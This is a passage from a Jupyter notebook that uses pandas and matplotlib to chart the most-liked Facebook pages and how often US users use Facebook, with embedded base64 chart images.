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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd # import pandas\n", + "import matplotlib.pyplot as plt #import matplotlib\n", + "\n", + "# reading the csv file \n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB11.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "#making a dataframe\n", + "df = pd.DataFrame(stats)\n", + "\n", + "#get x list\n", + "x = list(df.iloc[:, 0])\n", + "#get y list\n", + "y = list(df.iloc[:, 1])\n", + "c = ['b','g','r','y','orange','c','m','k']\n", + "\n", + "#plotting\n", + "plt.figure(figsize=(15,9))\n", + "plt.title(\"Most-liked Facebook pages\")\n", + "plt.xlabel(\"Likes(millions)\")\n", + "plt.ylabel(\"Page \")\n", + "plt.barh(x,y, color=c)\n", + "plt.grid(axis='x',color='r')\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Frequency of Facebook usage, US users, Edison" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Frequency_of_usage % of_users\n", + "0 Daily 73\n", + "1 Weekly 20\n", + "2 Monthly 5\n", + "3 Less 2\n" + ] + }, + { + "data": { + "image/png": "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